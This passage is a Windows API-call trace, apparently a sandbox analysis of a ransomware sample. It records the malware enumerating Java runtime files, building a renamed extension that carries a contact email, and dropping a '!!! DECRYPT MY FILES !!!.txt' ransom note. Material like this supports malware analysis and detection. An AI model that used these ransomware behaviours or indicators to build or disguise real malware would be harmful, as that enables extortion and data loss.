lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x43040, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0116.384] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll", len=0x36 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 1 [0116.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll", cchLength=0x36 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 0x36 [0116.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.384] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.384] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.384] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2da40, dwReserved0=0x0, dwReserved1=0x0, cFileName="fxplugins.dll", cAlternateFileName="FXPLUG~1.DLL")) returned 1 [0116.384] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 1 [0116.384] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 0x34 [0116.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.385] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.385] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.385] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x40e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="glass.dll", cAlternateFileName="")) returned 1 [0116.385] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 1 [0116.385] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll") returned 0x30 [0116.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.385] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.385] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.385] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x6f440, dwReserved0=0x0, dwReserved1=0x0, cFileName="glib-lite.dll", cAlternateFileName="GLIB-L~1.DLL")) returned 1 [0116.385] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 1 [0116.385] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 0x34 [0116.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.386] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.386] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.386] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x97440, dwReserved0=0x0, dwReserved1=0x0, cFileName="gstreamer-lite.dll", cAlternateFileName="GSTREA~1.DLL")) returned 1 [0116.386] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll", len=0x39 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 1 [0116.386] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll", cchLength=0x39 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 0x39 [0116.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.386] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.386] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.386] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x26a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="hprof.dll", cAlternateFileName="")) returned 1 [0116.387] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll", len=0x30 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll") returned 1 [0116.387] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll", cchLength=0x30 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll") returned 0x30 [0116.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.387] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.387] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.387] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e240, dwReserved0=0x0, dwReserved1=0x0, cFileName="instrument.dll", cAlternateFileName="INSTRU~1.DLL")) returned 1 [0116.387] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll", len=0x35 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 1 [0116.387] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll", cchLength=0x35 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll") returned 0x35 [0116.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.388] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.388] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.388] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pcsc.dll", cAlternateFileName="")) returned 1 [0116.388] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 1 [0116.388] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 0x31 [0116.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.388] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.388] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.388] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.388] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf840, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2pkcs11.dll", cAlternateFileName="")) returned 1 [0116.389] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 1 [0116.389] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 0x33 [0116.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.389] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.389] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.389] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5240, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaas_nt.dll", cAlternateFileName="")) returned 1 [0116.389] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll", len=0x32 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 1 [0116.389] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll", cchLength=0x32 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 0x32 [0116.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.389] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.390] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.390] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jabswitch.exe", cAlternateFileName="JABSWI~1.EXE")) returned 1 [0116.390] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", len=0x34 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 1 [0116.390] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", cchLength=0x34 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 0x34 [0116.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.390] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.390] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtᜬ璔ᚈ璔") returned 28 [0116.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txtᜬ璔ᚈ璔") returned 17 [0116.390] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5540 [0116.391] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0116.391] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0116.393] GetProcessHeap () returned 0x630000 [0116.393] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1448 [0116.393] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="java-rmi.exe", cAlternateFileName="")) returned 1 [0116.394] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", len=0x33 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 1 [0116.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe", cchLength=0x33 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe") returned 0x33 [0116.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.394] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0116.394] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0116.394] GetProcessHeap () returned 0x630000 [0116.394] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1448, Size=0x10) returned 0x6b1340 [0116.394] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.dll", cAlternateFileName="")) returned 1 [0116.394] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe", psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll") returned 1 [0116.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll") returned 0x2f [0116.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0116.395] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY 